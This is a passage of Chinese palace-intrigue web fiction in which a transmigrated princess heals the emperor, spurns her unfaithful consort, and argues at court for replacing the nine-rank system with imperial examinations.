吴思齐赔笑道:“只要是你生的,儿子、女儿我都喜欢。”
说着,亲上陈珠儿面颊。
陈珠儿伸手推吴思齐胸膛道:“你要死呀,我怀着孩子呢,可不能伺候你,你快离了我这儿吧。”
“我怎么舍得离开你,我这辈子就是死也要死在你身上,”吴思齐调笑着,又
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在陈宝珠耳旁补了句极下流的话。
陈宝珠粉拳捶在吴思齐肩头道:“胡说什么,羞死人了,快别说了。”
吴思齐笑着将陈宝珠的拳头捉住,勾头亲了一口。
“你说要治死公主,别是哄我的吧,要是叫人查出来,这可是杀头的罪过。”陈宝珠望着吴思齐双眼道。
吴思齐将陈宝珠打横抱起放到床榻上,自己欺身压上道:“怕什么,二皇子登基,他与我是什么关系?就算被查到,他定会帮我压下来。你呀,别想些有的没的,伺候你夫君要紧。”
红帐翻滚,两人一夜缠绵不必细说。
隔天早上,记录宣平侯府这一夜种种写成的密折便呈到了皇帝的案头。
皇帝先搁到一边,他怕看后生气又叫冷小幸诊出,等到冷小幸号完脉去前朝了,才拿出来看。
这一看,便思量着该怎么做,既不让女儿伤心,又能解气。
正想着,派去前朝打听情况的内侍回来了。
皇帝问道:“如何?可有人为难昭华?”
“有一两位不知情的大人说了几句不中听的话,不过都被政事堂的大人们压了下去。”内侍躬身道。
皇帝颔首道:“再去瞧瞧,若是昭华待的不耐烦,便命她回来。”
内侍领命而去。
皇帝觉得有些胸闷气短,在宫女的服侍下缓缓躺下,心道:“都怪这身子不争气,若我身子好。这群贱人怎敢想着算计昭华。”
待冷小幸从前朝回来,见皇帝面色不佳,伸手要为他诊脉。
皇帝摆手不让号脉,只道:“我没事,就是有点担心你,怎么样?觉得好玩吗?”
“哎呀,父皇,”冷小幸见状也不坚持,撒娇道:“儿臣都说过了,我去是为了建功立业,不是去玩儿的。”
“那今日可有所斩获?说给为父听听。”皇帝哄道。
冷小幸绘声绘色讲了方才前朝们大臣讨论的政务,她知道皇帝精力有限,便言简意赅说得分明,还在加上了自己的见解。
皇帝初时没有在意,后来越听越专注,不禁有些心惊。
冷小幸口齿清晰还在其次,难得是她竟能切中要害、言之有物。
虽然比不得已薨逝的太子,但与其他未接触过政务的同龄人相较,已算极有天赋。
皇帝不由心中暗叹:“真是块璞玉,只可惜是个女儿家,不能继承大统,且又耽于儿女私情。”
想到此处,皇帝心念一动,命人取来昨日关于宣平侯府的密折,递给冷小幸。
冷小幸不明所以接过,一目十行看完,面上波澜不惊。
倒把皇帝吓着了,忙道:“好孩子,你若是生气,只管打杀了他们。若是伤心就哭出来,爹爹在这里,千万别憋在心里。”
“自从那日侯夫人逼我认下野种,我便对吴思齐再无情意。”冷小幸冷笑道:“天下男人多的是,人尽可夫,难道唯吴思齐一人尔?父皇放心,儿臣不是那般贱骨头。”
9.替驸马养私生子的公主9
皇帝抚掌大笑道:“说得好,这才是我的女儿。”
“眼下父皇病着,若是大张旗鼓处置了他们,只怕会引来不必要的猜测,依儿臣之见不如暂且搁置,待父皇好了再说。”冷小幸道。
皇帝却道:“你呀,别想太多,虽然宣平侯有开城门乞降之功,为父保留他的爵位也有安抚那些世家的意思。国朝初立,不宜再有乱子,何况四境未宁还有用得到他们的地方。”
“但朕已坐拥天下,就算把他们都杀了也算不得什么大事,你莫要为此委屈了自己。”皇帝掷地有声。
“父皇要不说,女儿且想不到这些,”冷小幸道:“女儿是想明白了为什么他们明明恨不得我去死,却偏要做出对我好的模样,无非是踩着我扬他们的名,一边娶我捞好处一边作践我。死,便宜他们了。”
皇帝想到从前昭华公主对吴思齐痴恋,今见冷小幸如此说,转变之大,不禁有些诧异。
冷小幸低声道:“以前是女儿不懂事,可如今皇兄走了,母后也走了,父皇病着,由不得女儿再不长大。”
皇帝听了这话心酸不已。
冷小幸少不得劝皇帝别伤怀。
父女谈心后,一起用过午膳,冷小幸服侍皇帝午睡,回了偏殿。
她本想也睡一会儿。
系统却不肯放过她,气急败坏道:“你看你,我都说了让你对宣平侯夫人恭顺谦卑,你偏不听,这下好了,他们还是要杀了你。”
“难道我对他们好,他们就不杀我了?那你前世为什么会死?是你不够恭顺?不够谦卑吗?”冷小幸嘲讽道:“再说了,杀了我,他们现在也做不到。”
“我不是昭华公主,”系统气急败坏道:“他们为什么做不到?先前你那么说我还以为是二皇子和淑妃暗害了皇帝。原来其实不过早知道几天而已,说来也没有什么大错,一旦山陵崩,不还是二皇子继位?你不是还是要在他手底下讨生活?驸马他们到时候再杀你不迟。”
“谁告诉你一定是他继位?”冷小幸反驳道。
系统理所当然道:“正所谓有嫡立嫡,无嫡立长,太子已逝,二皇子为诸皇子之首,又有世家支撑,不是他继位还能是谁?难道你想扶持别人?你可别做梦了。”
“为什么要扶持别人?”冷小幸不让人伺候,亲手取下一支七尾凤钗道:“我就不能自个做皇帝?”
“这世上哪有女子做皇帝的?你疯了不成?”
“以前没有,以后就有了,”冷小幸不以为然道:“等等,莫非你上一世卑躬屈膝,并不是因为你要做个贤妻良母,而是因为皇帝不在了,比起你这个姐姐,二皇子更看重吴思齐,所以你才委屈求全的?”
经过几番掰扯,公主系统已经放弃反驳她不是前世的昭华公主,她只当没听到,继续道:“当然不是,是因为我,不,是因为前世昭华公主她既已嫁驸马为妻,自当恪守妇道、贤良淑德、遵从夫为妻纲、三从四德。”
“夫为妻纲?三从四德?”冷小幸嗤笑道:“那你可别忘了尊卑有别,公主为君位尊,附马为臣位卑。”
“莫要胡搅蛮缠,总之你赶紧派人去安抚宣平侯府,真是的驸马都回来一日了,你人不到就算了,怎么能不闻不问?天下哪有这样做妻子的?”
“然后呢?”
“然后?当然是向皇帝求旨,赐陈宝珠诰命,让她做平妻,与她共侍一夫姐妹相称,对她的孩子视如己出,早早为孩子请封爵位,这样就能感化他们,你也还算个好女人,也不用死了。”
“哼,”冷小幸摇头道:“真是话不投机半句多,我与你说不到一处。”
“你得完成任务啊,”公主系统苦口婆心劝道。
“你放心,他们死后,我会让命人为他们超度,好好感化他们的。”
公主系统简直要气死,仍旧唠叨个不停。
冷小幸显然已经习惯,她不再搭理公主系统,心想皇帝英明神武,对于她编造谎言却深信不疑。
一来,冷小幸展示了超高的医术将他从鬼门关救回来。
二来,皇帝相信先皇后有能力使人教导女儿武艺,还能瞒到滴水不漏。
三来,皇帝相信昭华公主对先皇后、先太子的感情,也相信自己的女儿有能力在短短时日习得医术。
冷小幸心下暗叹:“先皇后也非泛泛之辈,怎么皇帝和先皇后竟生出昭华公主这么个自甘下贱的恋爱脑?这可真是龙凤窝里爬草蛇。”
至于公主系统所说的世家,确实有一点棘手。
冷小幸曾经待过的一个世界,那个世界也曾有过百余年世家门阀当道,直到某个王朝连续出了三位千年难遇、雄才伟略的皇帝都未能彻底拨除世家。
最后还是一个狠人用物理毁灭的方式基本铲除世家,极大削弱门阀阶级带给后世的恶劣影响。
冷小幸方才方对皇帝所言,并非都是实话。
她是个局外人,宣平侯府一众人等的性命,她不放在眼里,只是眼下他们还不能死。
宣平侯府对此一无所知,还沉浸在即将成为新帝外家的喜悦中。
几天后,驸马吴思齐终于从温柔乡中察觉到不对,距淑妃传来口信,已半月有余,皇帝丧钟还未响起。
淑妃亦未再传出消息,不知宫中情形如何。
且公主对吴思齐向来体贴,即便她在宫中脱不开身,知道吴思齐回京,也一定会派人前来问候。
为何至今毫无动静?
当然是因为皇帝的帝王心术。
冷小幸入宫替太子妃暂时掌管宫闱,宫中消息无法传出,她救下皇帝又对朝臣下了封口令。
等皇帝清醒后知道向来恭顺的淑妃与二皇子所为,不由起了借此试探其他人的心思,照旧封锁消息。
冷小幸每日上朝听政,并非大朝会(皇帝病了,本就不召开大朝会),而是尚书令及各部尚书等人对于要紧政务的讨论会,能列席者寥寥无几。
从冷小幸第一日出现,尚书令为她站台,参会者便有
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所明悟,并没有向外宣扬见到冷小幸之事。
所以知道冷小幸治好皇帝,皇帝日渐康复,不过几个重臣罢了。
宣平侯夫人亦是不安,深悔她过于急躁。
昭华公主是个傻的,但皇帝绝对不糊涂,要是让他知道他们给公主设套诱公主搬到宣平侯府,还逼她将吴思齐和陈宝珠的私生子认作亲子,大婚至今尚未圆房等事。
整个宣平侯府都得死。
吴思齐安慰道:“母亲莫要自乱正脚,若是陛下知道这些事,早就派人来了,现下既无事,应当无忧。”
“早知如此,该等皇帝宾天......”宣平侯夫人攥帕子低声道。
吴思齐立刻打断道:“母亲!”
宣平侯夫人忙住了口。
母子俩只能相互安慰,期待宫中传来皇帝大行的消息。
形势不明,他们不敢贸然联系淑妃。
在痛苦等待的煎熬中,终于等来了陛下大安,明日召开大朝会的噩耗。
宣平侯夫人与陈宝珠凑在一处,一会相互安慰,一会相对垂泪,折腾了一夜。
独自待在外书房枯坐一夜的吴思齐,不断“用公主爱我,皇帝宠爱她,只要她肯为我周旋,一切无忧。”、“明明传出皇帝油尽灯枯的信,怎么会大安?或许只是回光返照。”来宽慰自个。
丑时一刻,仆从在外扣门提醒吴思齐该换官服动身了。
吴思齐强撑着不在仆从面前露怯,穿戴整齐,坐上马车到宫门外同其他朝臣一同等候。
寅正五刻上朝的鼓点准时响起,宫门大开,朝臣按品级高低依次进入。
吴思齐带着微末的期望,行尸走肉般踏入宣政殿。
众朝臣站定不久,殿外传来钟声,这是皇帝从后宫起驾的信号。
吴思齐听得鼓声,只觉心跳如雷鸣、分外难熬。
鼓声停止,耳边传来宫廷乐队演奏的《昭和之乐》,吴思齐知道皇帝的步辇已到殿外,他无比希望皇帝只剩一口气被抬进来,进来宣布二皇子继位就驾崩。
终于,乐声停止,这代表皇帝已坐定。
吴思齐恨不得伸长脖子去瞧,但碍于礼制,只能垂首躬身。
好不容熬过跪拜之礼,吴思齐迫不及待抬头,便看到皇帝好端端坐在龙椅上,冷小幸站在一旁。
吴思齐有些迷茫冷小幸为何会出现?更奇怪的是高阶官员没有对此提出异议。
在百官奏事前,王内侍省奉命宣读淑妃、冯太医等其他意图趁皇帝生病意图染指皇权之人的罪行,以及对他们的处置结果。
吴思齐竖着耳朵听,只觉自己全家死期将至,即便皇帝不知他们对昭华公主的谋算,可宣平侯府毕竟是淑妃的母族,淑妃有罪,岂能不问罪母家?
他屏气凝神,听到最后却没有听到宣平侯府的字眼,不由长长舒了口气,暗自庆幸皇帝顾忌昭华公主颜面,不追究她的夫家。
皇帝目光在吴思齐写满劫后余生的脸上停留一瞬。
10.替驸马养私生子的公主10
转开视线的皇帝对满朝文武朗笑道:“这次多亏我儿昭华公主医术超群,将朕救了回来,朕才能再次见到诸位爱卿。”
众朝臣立刻躬身道:“陛下洪福齐天,万寿无疆。”
有朝臣进言道:“还请陛下重赏公主,以彰其孝心,作万民之表率。”
皇帝颔首道:“爱卿所言甚是。”
他摆摆手,王内侍省便双手捧着早已拟好的圣旨,对冷小幸道:“请殿下接旨。”
冷小幸走下高台,站在百官前,转身面对皇帝跪下。
王内侍省紧随其后,站定在冷小幸身前展开圣旨大声宣读,无外乎加封地、加食邑、赐千金等等。
宣读完毕,王内侍省欲将圣旨奉于冷小幸。
冷小幸却不抬手臂。
还微微弯着腰伸出手的王内侍省心头一紧,不知该如何是好。
只听皇帝语气平淡道:“怎么?昭华你不愿奉旨吗?”
冷小幸磕了个头道:“父皇,儿臣可以不要这些赏赐,换一个恩典吗?”
此言一出,有不少朝臣偷偷去瞄驸马吴思齐。
天下皆知昭华公主爱慕驸马,对驸马情深义重。
没想到,竟爱到这个程度,朝堂之上百官面前,公主竟敢抗旨不遵,只为给驸马求一个前程。
有人心想:“历来男子建功立业,可为母亲、妻子挣来诰命。不曾听闻女子立功,她的父亲、丈夫能得到什么?当然,世上也从未有过女子立功之事,现下若是开了这个头,以后倒可引援为例。”
还有人只恨自己也没生得一副好皮囊,引得公主下嫁,平白赚了个好前程。
吴思齐先是窃喜,而后又觉愤懑,他心道:“我自有才华能力,何须你当着满朝文武给我求前途,我颜面何在?将来不论我做出什么成绩,都会被看做靠女人上位,真是无知妇人。”
就连皇帝亦是一惊,生怕女儿改了主意,又心疼上已经在他心里判了死刑的吴思齐。
“哦?”皇帝一面担忧冷小幸为吴思齐求免罪诏书,一面问:“你想换什么?”
冷小幸叩首道:“儿臣想换一个入朝理政的机会,求父皇成全。”
朝臣已做好等冷小幸张口说完,只要不是给驸马要官要的太过分,便称颂公主贤良淑德之类的场面话,表示支持冷小幸所请。
万万没想到冷小幸说出这样一句石破天惊的话。
女子入朝理政,历朝历代不是没有,只不过能够入朝理政的女子唯有太后或皇后,且必须是皇帝年幼,或者皇帝多病无力处置朝政的情况下才行。
太后、皇后是嫁入皇家的宗妇,公主是出嫁女。
在世人心中,有着自家人和外人的本质区别。
皇帝虽未痊愈,但身体明显好转,无需妇人代为理政。
冷小幸这个请求可谓是前所未有。
之前,重臣议事时冷小幸在旁听着,未遭到剧烈反对是因为尚书令等人觉得皇帝在病榻不放心,在那种特殊情况下,他们可以接受冷小幸奉命前来。
今日,冷小幸跟着皇帝来宣政殿。
重臣没有提出异议,是因为一则冷小幸可随时为皇帝医治,这是对皇帝身体康健的保障。二则他们知道皇帝要重赏冷小幸,在大朝会当着文武百官受赏,这本身也是一种荣耀。
他们可以接受冷小幸在大朝会时站在皇帝身旁直到皇帝彻底痊愈。
但他们绝不能接受冷小幸入朝理政。
礼部侍郎率先道:“陛下,《礼记·内则》有云:‘男不言内,女不言外’,即为‘妇人无外事’。公主临朝,必乱纲常,届时天下效仿,国本何安?还请陛下三思,重赏公主即可。”
“陛下,百官皆为饱学之士、治世之臣,何须公主越俎代庖?还请陛下三思。”吏部侍郎亦道。
“陛下,”兵部侍郎急道:“大战在即,若将士们听闻公主临朝,恐心生不服,影响边关士气,更有损我朝军威,万望陛下三思。”
朝臣纷纷出列,众说纷纭。
皇帝一言不发,不置可否。
吴思齐犹豫不决,不知该不该表态,更不知该如何表态。
直到有朝臣厉声道:“公主已嫁人,若是临朝,有外戚弄权之祸,此乃亡国之兆,不可不妨。”
吴思齐闻言,惊惧非常立刻道:“陛下明鉴,宣平侯府绝无不臣之心。”
说完,吴思齐后背冷汗已溢湿衣裳,他心中深恨冷小幸没事找事,连累宣平侯府。
皇帝语气冰冷道:“你是昭华的驸马,竟不愿支持她?”
“这,”吴思齐舌根发苦,他小心翼翼斟酌道:“公主殿下贤明仁善,心系社稷,臣心有荣焉。但若殿下置身朝堂,必会引来朝野上下非议,臣实在不愿殿下清名有损,恳请陛下三思。”
百官皆道:“恳请陛下三思。”
偌大个朝堂,竟没有一人请冷小幸收回所求。
作为系统的昭华公主感受到了冒犯:“他们怎么能不把我们当人呢?”
冷小幸闻言有些诧异。
公主系统不悦道:“怎么?我说的不对吗?”
“我发现只要不涉及吴思齐,你就不傻了。”冷小幸道。
“胡说,我对着他也不傻,他方才字字句句都在为你着想,这样的好夫婿到哪里找?你快别胡闹了,跟他回家吧。”公主系统劝道。
冷小幸在心里翻了个大白眼,奇道:“你对他情根深种,却不介意我与他做夫妻,为什么?”
“咳,我凭什么告诉你,总之你做个好妻子,好母亲,好好完成任务就好。”
一人一统斗嘴之际,皇帝已道:“此事容后再议。”
暂且将冷小幸请求入朝理政之事搁置,议了几件朝政,才宣布退朝。
冷小幸与皇帝起驾回内宫,父女俩都没理追上来躬身行礼的吴思齐。
吴思齐弯着腰不敢起身,更不敢追到内宫去,等皇帝、冷小幸走远,才直起身子去官署。
冷小幸父女回到紫宸殿,皇帝换了身常服。
冷小幸先为皇帝诊脉、施针,服侍皇帝用过汤药。
皇帝才问道:“你既有心入朝,为何不先告诉为
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父?”
“父皇会答应吗?”冷小幸不答反问。
皇帝皱着眉头道:“你贵为公主,安享尊荣不好吗?”
“人各有志,不能强求。”冷小幸正色道:“朝堂选官应当选贤任能,儿臣原本只想漫天要价就地还钱最后入朝听政罢了,但朝臣既然如此反对,儿臣也只好拿出本事叫他们心服口服,以后少不得参政一二。”
“求父皇看在儿臣有心且有能力,为朝政出力的份上,让儿臣去吧,”冷小幸说完摇着皇帝衣袖道。
皇帝手指点着冷小幸脑门,宠溺道:“你能出什么力?”
“哼!父皇可别瞧儿臣,”冷小幸不服气道:“儿臣有个法子,可削弱门阀世家。”
“哦?”皇帝原本只当逗女儿玩,这会倒觉有点兴致,他道:“说来听听。”
“反正明日儿臣还要说给百官,不如父皇明日再听吧,我且先写出来。”冷小幸笑道。
“你这个丫头,还卖关子。”皇帝笑了笑:“罢了,你去忙吧,朕歇一歇。”
冷小幸应声告退。
看着冷小幸的背影,皇帝轻轻摇了摇头,他当然想铲除世家,但此事并非易事,也不知冷小幸哪来的自信。
皇帝想着让冷小幸试试也无妨,就算将来世家反扑,他也可轻而易举护住女儿。
可怜天下父母心,皇帝为自家女儿筹谋,宣平侯夫人坐立不安等待儿子回府。
下值不久,宣平侯府人终于翘首盼回了全须全尾的儿子,不禁潸然泪下。
“母亲别哭,我这不是好好的吗?”吴思齐安慰道。
宣平侯夫人拿帕子擦着眼角道:“回来就好,回来就好。我这心总算能放下了。”
“母亲,”吴思齐上前低声道。
宣平侯夫人会意,叫丫鬟们都下去。
屋里没旁人,吴思齐便将朝堂上发生一切告诉宣平侯夫人。
宣平府侯夫人听到淑妃、二皇子被问罪,不由倒吸一口凉气,又听祸不及自家,才舒了一口气道:“想来是陛下顾念公主,不愿责罚她夫家。”
“不但为此,”吴思齐又道:“正是公主将陛下医治好。”
宣平侯夫人眼睛一亮道:“此事当真?这下不但不必担心受罚,想来我们府上作为公主夫家亦有赏赐。”
吴思齐摇头将冷小幸要用奖赏换入朝理政之事说出。
宣平侯夫人不满道:“公主真是不知所谓,不为夫家争光,到要入朝听什么政,她一个女子也不怕人家说牝鸡司晨,没有妇德。”
悄声骂了一阵,宣平侯夫人拉起吴思齐一只手,拍着他手背道:“为娘听说你还未与公主圆房,儿啊,娘知道你心里挂念着珠儿。可你已与公主成婚,公主既深得陛下宠爱,眼下又立了大功,可不能再冷淡于她。”
吴思齐垂头不语。
“若是你早与公主圆房,只怕公主已有孕在身。这女人一旦有了孩子,便会一心为孩子着想。她就是为了肚子里的孩子,也会为你求前程的,就连陛下都会看在外孙的份上重用于你。”宣平侯夫人语重心长道。
11.替驸马养私生子的公主11
吴思齐期期艾艾道:“那珠儿怎么办?”
“珠儿不是那等拈酸吃醋的小气妇人,”宣平侯夫人道:“只要你心里有她便好了,至于她腹中的孩子,须得等公主回来再定夺。”
“娘,”吴思齐急了:“若是公主容不下珠儿和孩子怎么办?”
“你这傻孩子,”宣平侯夫人笑眯眯道:“你是公主的丈夫,就是她的天,她怎么会不听你的话?何况她爱慕你,不敢叫你不高兴,待她回来,你好生哄着她就是了。”
吴思齐点点头,不提方才冷小幸没有搭理他的事。
母子俩又说了几句,吴思齐方辞了宣平侯夫人出屋。
一抬眼就见到陈宝珠脸色苍白站在院子里,她身量纤细像是一阵风能吹倒。
吴思齐赶忙上前扶住陈宝珠,责怪道:“你不在屋里好生歇着,出来做什么?我扶你回去。”
陈宝珠见状,心头一松,也不提其他,只说:“我担心表哥,哪里坐得住。”
吴思齐一面安抚陈宝珠,一面送她回房,愧道:“珠儿,我对不起你,如今陛下大安,只怕要再委屈你些时日。”
“珠儿三生有幸,能与表哥在一块儿,不委屈。”陈宝珠搂住吴思齐脖颈,脸靠在吴思齐胸膛道。
吴思齐动情道:“珠儿。”
陈宝珠情意绵绵道:“表哥。”
两人难舍难分。
待到晚间,吴思齐不敢宿在陈宝珠的院子,仍旧去了外书房。
陈宝珠捏着帕子枯坐在桌前。
丫鬟见了担心道:“姑娘,如今这情形,咱们还是早做打算的好。”
“有什么可打算的,”陈宝珠不以为然、满眼柔情道:“一切听表哥的便是,他定会护住我和孩子。”
陈宝珠轻抚腹部恨声道:“昭华那个贱人当真命好,皇帝居然活过来了,但那又怎么样?表哥爱我,又不爱她,她拿什么跟我比。”
丫鬟听了这话,有心劝两句,可想到陈宝珠素日为人,还是将话咽下哄道:“姑娘说得对,公主哪里配和姑娘相提并论,世子心中只有姑娘一人,都怪公主以权势相压,上赶着非要嫁给世子,真是不要脸。”
陈宝珠听了,洋洋自得。
却不知吴思齐辗转反侧,心想:“难道公主是因为珠儿,才对我不理不睬?之前她几番想与我欢好,突然得知我与珠儿有了孩子,自是不快。如今为了阖府上下,我也只好勉为其难与她鱼水之欢,只是到底对不起珠儿。”
幸亏正在准备睡觉的冷小幸不知吴思齐心中所想,不然她得恶心的吐出来,一根烂黄瓜谁稀罕呀!
翌日,艳阳高照。
朝会如期举行,冷小幸跟在皇帝身旁。
朝臣见冷小幸未站到大殿朝臣中,想着她大约是要照料皇帝身体,便不曾发难。
按照流程开始议事,先是中书、门下、尚书的三位宰相出班,汇报军政大事,而后百官奏事。
最后内侍唱道:“有事出班启奏,无事卷帘退朝。”
冷小幸上前一步道:“儿臣有事。”
皇帝摆手道:“讲。”
“是,”冷小幸拿出一个略厚的奏折,飞快开始念。
众朝臣:“......”
不是,我们对你出现在朝堂睁一只眼,闭一只眼,是顾念陛下身体,不是我们默认你能上朝议政了。
昨日连你要上朝理政我们都反对了,今日你们父女问都不问,就直接开始了?
因为是皇帝允许的,倒也没有朝臣立刻打断冷小幸。
但他们已经做好将冷小幸狠狠驳斥一番,省得她不知天高地厚,以为朝堂是她可以玩闹的。
且听听她要说些什么贻笑大方的奏请。
可听着听着便觉出不对,她说什么?九品中正制重家世而轻才德,导致“上品无寒门,下品无士族,”是必须要废除的制度?
奏请取消九品中正制,改为科举制。
科举制是个什么东西?
分级考试,逐层选拔?
冷小幸将科举制的考试内容,考试流程,受官方案等等全部说出。
待她说完,小半个时辰过去了。
殿内鸦雀无声。
没有人相信这是出自冷小幸的手笔。
朝臣们只感到皇帝对于世家阻断晋升渠道的不满,以及皇帝要废除世家的决心。
这样条例清晰,面面俱到的奏折,绝不可能是未踏入朝堂的公主所写,必是皇帝暗中命人写出,这里面不知有多少人的心血。
如今只是借由昭华公主的口说出来罢了。
门阀世家世家立足几百年,历经三个王朝不倒。
难道那些王朝不想彻底除去世家吗?
只是做不到罢了。
当今皇帝草根出身,他最初最重要的班底也是草根出身。
新朝初立,这些班底占据朝堂高位。
但朝堂上难道没有世家子弟了吗?
事实上,朝堂上的世家子弟远多于寒门子弟。
若是与皇帝一起打天下的重臣联合提出科举制,反对其推行必然十分困难。
偏偏皇帝出了个昏招,让昭华公主提出,那反对起来就很简单。
因为她是女子,她提出的政见怎么会是正确的呢?
坚决反对科举制的朝臣,大多出身世家。
他们误以为是皇帝安排冷小幸作为科举制的发起者,那么再纠结冷小幸是否有权奏请,以此阻止科举制推行,只会触怒皇帝。
他们不约而同忽略冷小幸没有议政权,而是以冷小幸所念奏折为突破点。
于是冷小幸迎来了车轮战。
一个时辰过去,出言过却被冷小幸一一驳回的朝臣蒙了。
在他们心里冷小幸只负责念奏折,她一定不懂其中关巧,只要问她,她便不能答,便可顺理成章否决此事。
可没想到,冷小幸针对他们提出的质疑,不但能一一解答,甚至还能引经据典、结合时事充分论证科举制必须快速推行的必要性。
甚至她的表现堪称老成练达,不像个没有接触过朝政的年轻女郎,反倒像是意淫官场多年的老油条。
场面胶着,一时间难以定下。
皇帝便道:“此乃大事,明日再议,诸位爱卿回去好
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好参详一二。”
众臣行礼,内侍宣布退朝。
冷小幸不急着跟皇帝走,对众臣道:“刚才听诸位大人所言,对这制度不甚熟悉,我已派人抄录,走前每人可领一份,希望诸位大人回去好生研读,谨遵陛下之命。”
众臣听冷小幸搬出皇帝,只得听从。
双方互相行礼辞别。
冷小幸回内宫,朝臣们往外走,吴思齐逆流而上想要跟冷小幸搭话。
公主系统见了急道:“驸马过来了,你等等他啊。”
冷小幸充耳不闻,快步离开。
等吴思齐赶到,她已踏入宫门。
吴思齐身为外男,无诏不得擅入,便以驸马身份,请内侍通传求见皇帝。
内侍也不回禀,冷脸道:“陛下早有吩咐,驸马事物繁多,不必见驾。”
吴思齐听了这话,见内侍态度有别以往,只觉一股寒气从脊梁骨窜了上来。
“陛下是我的君父,再忙也该给他老人家请安才是,烦请公公通传一声吧。”吴思齐陪笑握了握内侍的手。
内侍收回的手心中多了条实心的小金鱼,他脸色稍稍温和了些道:“驸马还是听杂家一句劝,莫要纠缠,快些走吧。”
吴思齐闻言心凉了半截,不敢再歪缠,更不敢跪在宫门外道德绑架皇帝。
他毫不怀疑他敢下跪,皇帝就会让他见不到明天的太阳,只好千恩万谢过内侍,在忐忑不安中去官署上值,无心处理公务,满脑子都是皇帝、冷小幸父女俩对他的冷待。
被吴思齐惦念的两人完全不在意他。
一回到紫宸殿皇帝先要来了冷小幸的奏折,从头到尾细细看了一遍,问道:“这真是你写的?”
“朝臣不相信我,父皇也不信吗?”冷小幸打开药箱,准备给皇帝施针。
“为父当然相信你,只一日便能想出这样的政策,难怪今日朝堂你能舌战群儒。”
冷小幸既不能告诉皇帝这是别的世界已经成熟的政策,也无法说这是别人集思广益想的,不然皇帝一定会要那些不存在于这个世界的人为朝廷效力,届时她到哪里去找人呢?
她只能道:“那倒不是,这事我想了许久了,只是昨天才写出来罢了。”
“哦?我儿这般忌惮世家吗?”皇帝不解道。
冷小幸先服侍皇帝躺下道:“父皇暂且平心静气,待我施针完毕,再向父皇好生解释。”
为皇帝治病这段时间,冷小幸补全了这个世界的背景信息。
毕竟上一世的原主昭华公主是个恋爱脑,心里只有吴思齐,对于其它并不在意。
冷小幸觉得从昭华公主那得来的信息不够充分详尽。
遂利用公主身份便利,多方了解了些她需要的信息。
冷小幸发现这个世界背景设置很杂乱。
虽然真实历史中有很多匪夷所思的离奇事件,但从长远看历史发展必定符合客观规律。
门阀当道,草根出身的人白手起家做皇帝不是没有可能,但一定非常艰难。
世家不仅仅垄断了历朝历代的官位,他们还拥有土地、人口等多方面资源。
12.替驸马养私生子的公主12
这其中最重要就是教育资源,寒门子弟几乎没有读书习武的机会。
这个世界的皇帝从一介白衣到龙袍加身,在涿鹿天下的过程中,少不了世家的扶持。
皇帝眼中的世家与冷小幸眼中的世家不同。
在冷小幸看来世家是必须要拔除的毒瘤。
但皇帝作为开国皇帝,于群雄间脱颖而出,建立新朝,他有资本傲视天下。
是以皇帝只觉得需要削弱世家,以此增加皇权集中,但他未必真正意识到世家是一个怎样的庞然大物。
且皇帝当然知道打压世家有难度,但对他而言绝不可能比打天下更难。
可冷小幸清楚知道想要尽可能铲除世家对王朝的影响,是多么艰难的任务,不亚于开辟一个新王朝。
冷小幸一边想着措辞,一边为皇帝针灸。
待拔了针,服侍皇帝用过药,冷小幸斟酌着用词将世家危害讲与皇帝听。
皇帝道:“即便没有世家,也会出现其它能够威胁王朝的力量,且这科举制亦并非尽善尽美,一劳永逸之策。”
“父皇说的是,”冷小幸道:“昔年周天子分封诸侯,后来诸侯势大,周天子权柄衰落,春秋战国时分裂战乱。秦朝废除分封制,改为郡县制,二世而亡。汉朝既有郡县制,又有诸侯国,仍由七国之乱。这世间哪里有永恒不变的的制度呢?不过是因时制宜罢了。”
“此时科举制可以有效遏制世家继续壮大,便可用。”冷小幸最后道:“他年科举制弊大于利,自然会有新的制度来替取代它,那时我们早已化为黄土一抔,无需再操心啦。”
“你倒通透,也罢,且放手去试试吧。”皇帝拍了拍冷小幸肩膀道。
“多谢父皇,”冷小幸笑吟吟道。
回到偏殿冷小幸脸上的笑意没有了,她眉头轻皱有些犯愁的样子。
公主系统奇道:“你怎么了?”
“唉,你爹既不信我对世家危害的论断,也小瞧我治国理政的能力。”冷小幸幽幽叹了口气。
公主系统撇嘴道:“你是女子,本就不懂这些,父皇疑你,有什么可奇怪的。”
冷小幸也不辩驳,她懒得理公主系统。
公主系统以为冷小幸会一夜辗转反侧,没想到她倒头就睡。
点燃风暴的人歇息了,可整个京城有资格上早朝的朝臣大多是睡不着的。
大部分朝臣根本没有看冷小幸命人抄录的科举制奏折。
他们思量再三,衡量利弊,斟酌明日早朝话语。
吴思齐反复想着今日下值后,到宣平侯府拜访他的几个人所说,在破晓时分终于下定决心。
不久,他再次站立在朝堂上,冷眼看冷小幸缓步走到殿中,扫视一圈问道:“不知诸位大人看过奏折后,对推行科举制还有什么疑虑?”
御史大夫不看冷小幸,出列对着皇帝躬身道:“陛下,我朝立国,世家大族有拥立之功。况九品中正制择贤选官,是朝堂稳固之根本。世家子弟自幼研习经史、熟稔治道,乃国之栋梁。寒门无经世之学、无治政之验,必将误国,还请陛下三思。”
“大人,此言差矣......”冷小幸刚了个头。
御史大夫厉声打断道:“此乃宣政殿,是百官上奏,陛下裁决国事之地,岂容女子在此胡言乱语?女子本应深居内宅、相夫教子,公主却妄自议政,已是越矩,还不速速退下。”
冷小幸还未说话,公主系统先道:“他是不是疯了?之前还向你请罪,昨天也没人拿你是女人做文章啊?”
“此一时彼一时啊,”冷小幸心中暗叹。
“父皇尚在,大人公然驱逐本宫,是有不臣之心吗?”冷小幸先弹压一句。
接着又道:“世家是国之柱石?只怕未必,世家垄断仕途结党营私,隐匿土地人口致使前朝覆灭,实乃国之蛀虫。”
她点了几人道:“昔年随父皇征战的吴国公、诸勇侯等勋贵,皆寒门出身,他们披荆斩棘、血染疆场,难道不及世家子弟坐而论道?科举取士,唯才是举,方能广纳贤才,保我朝昌盛。”
礼部尚书声色俱厉道:“公主谬论,世家家风严谨,世代相承,非寒门白身可比。寒门子弟无乡望根基,骤然入朝登高位,必急于抱团,届时党争四起,必会搅乱朝纲。且科举若行,天下寒门皆醉心科举,谁来耕织?”
不等冷小幸反驳,礼部尚书继续道:“况科举之法甚是繁琐,此法若行必空耗国库。公主不通政务,实乃妇人之见。”
“不通政务?昨日你们不就是在政务上没说过本宫,现在只能用本宫是女人说嘴?”冷小幸嗤笑道。
“大人别急,本宫一一为大人解答。其一,寒门子弟更懂民间疾苦,治政方能体恤百姓。反倒世家子弟凭借门第坐享高官,尸位素餐者不在少数。
